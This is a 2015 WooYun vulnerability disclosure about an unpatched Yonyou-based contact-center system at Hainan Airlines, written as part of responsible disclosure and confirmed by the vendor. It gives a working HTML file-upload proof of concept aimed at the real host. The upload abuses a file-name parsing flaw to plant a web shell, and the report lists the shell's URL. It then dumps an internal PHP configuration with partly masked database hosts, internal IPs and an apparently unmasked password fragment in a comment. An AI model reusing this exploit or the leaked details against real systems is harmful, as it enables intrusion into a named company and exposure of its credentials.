当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0101890

漏洞标题：海南航空某系统getshell入内网（各种信息泄露）

相关厂商：海南航空

漏洞作者： depycode

提交时间：2015-03-17 15:17

修复时间：2015-05-02 08:36

公开时间：2015-05-02 08:36

漏洞类型：系统/服务补丁不及时

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-17： 细节已通知厂商并且等待厂商处理中
2015-03-18： 厂商已经确认，细节仅向厂商公开
2015-03-28： 细节向核心白帽子及相关领域专家公开
2015-04-07： 细节向普通白帽子公开
2015-04-17： 细节向实习白帽子公开
2015-05-02： 细节向公众公开

简要描述：

RT..

详细说明：

http://icc.hnair.com/


该系统采用了用友的系统，而且位修补漏洞，导致getshell
POC

<html>
<form action="http://icc.hnair.com/5107https://wooyun-img.oss-cn-beijing.aliyuncs.com/upload/screenImagesSave.php?filename=wooyun.php.a;.7z" name="test" method="post" enctype="multipart/form-data">
  <input type="file" name="file" >
  <input type="submit" value="upload">
</form>
</html>


直接可以再/data/files/目录下生产wooyun.php.a;.7z文件，利用解析漏洞拿shell
shell：http://icc.hnair.com/data/files/20150317/wooyun.php.a;.7z cmd

6.png


7.png


内网
#信息泄露

<?php
/**
 * @class Config 配置类
 * @constructor
 * @author Lynk Li
 */
class Config {
	/**
	 * 数据库连接配置
	 */
	//主库.
	var $db = array(
		"type" 	=> "oci8",				//数据库类型.
		"host"	=> "192.*.*.214",	//数据库服务器地址.
		"user"	=> "**",    //数据库用户名.
		"pass"	=> "**",     		//数据库密码.
		"name"	=> "**", 			//数据库名字/SID.
		);
	//当日数据表所属库信息.
	var $todaysDB = array(
		"type" 	=> "oci8",				//数据库类型.
		"host"	=> "192.**.**.214",	//数据库服务器地址.
		"user"	=> "**",     			//数据库用户名.
		"pass"	=> "**",     		//数据库密码.Nwl6z1RSo
		"name"	=> "**", 			//数据库名字/SID.	
		);
	
	//报表库.
	var $reportDB = array(
		"type" 	=> "oci8",				//数据库类型.
		"host"	=> "192.1**.**.214",	//数据库服务器地址.
		"user"	=> "**",     			//数据库用户名.
		"pass"	=> "**",     		//数据库密码.
		"name"	=> "**", 			//数据库名字/SID.	
		);
	
	//报表索引主机和数据库.
	var $roothost 	= '192.**.100.214';
	var $rootdb		= '**';
	var $dssDataDB	= '**';
	//memcache服务配置.
	var $memcache = array(
			'host'	=> '127.0.0.1',		//服务器地址.
			'port'	=> '**1'					//端口.
		);
		
	/**
	 * 模版配置
	 */
	var $template = array(
		"dir"		=> "templates",
		"compile"	=> "data/templatesCache"
		);
	
	/**
	 * 产品名称.
	 */
	var $productNameDB = array(
		'zh-cn' => '5107 ICC - 互联网联络中心 - 5107.cn',
		'zh-tw'	=> '5107 ICC - 互联网联络中心 - 5107.cn',
		'en'	=> '5107 ICC - 互联网联络中心 - 5107.cn'
		);
		
		
	/**
	 * 产品版本号.
	 */	 
	 var $version = 'v3.1.0';
	/**
	 * url and file path configure
	 */
	var $baseUrl = "http://192.168.1**";
	var $basePath = "/home/ecccs/web/";
	var $flashUrl = "http://192.168.**";
		
	//访客端截屏HTTP上传配置.
	var $httpHost	= '192.1**.1**.223';
	var $httpPort	= '80';
	var $uploadUrl	= '/5107/**ad/upload.php';
	
	/**
	 * 服务器地址端口信息配置.
	 */
	var $lsIp		= '192.1**.1**0.223';	//ls地址.
	var $lsPort		= '8080';				//ls端口.
	var $fsIp		= '192.1**8.1**0.223';	//fs地址.
	var $fsPort		= '80**';				//fs端口.
	var $udldIp		= 'cs.5**.cn';			//web服务器地址.
	var $fmsIp		= '192.16**100.223';			//语音服务器地址.
	
	/**
	 * 代理功能开关.
	 */
	var $proxy		= 0; //0关闭；1启用.
	var $proxyUrl 	= "http://proxy.51**";	//HTTP代理路径.
		
	/**
	 * language type
	 */
	var $lang = "zh-cn";
	
	/**
	 * default theme type
	 */
	var $theme = "0";
	
	/**
	 * default color type
	 */
	var $color = "0";
		
	/**
	 * charset
	 */
	var $charset = 'UTF-8';
	
	/**
	 * num set
	 */
	var $clothNum = 30;
	
	/**
	 * 响应超标标准(时间/秒).
	 */
	var $rsponseSuperscale = 30;
	/**
	 * 默认允许的URl地址.用在hj5107.js.php中
	 */	
	var $defaultURL = array('cengis.com','510**.cn','192.1**.1**.223');	
}
?>


敏感部位以打码。

8.png


9.png


漏洞证明：

6.png

修复方案：

打补丁！

版权声明：转载请注明来源 depycode@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-03-18 08:34

厂商回复：

谢谢，我司会立即组织修复。

最新状态：

暂无

漏洞评价：

评论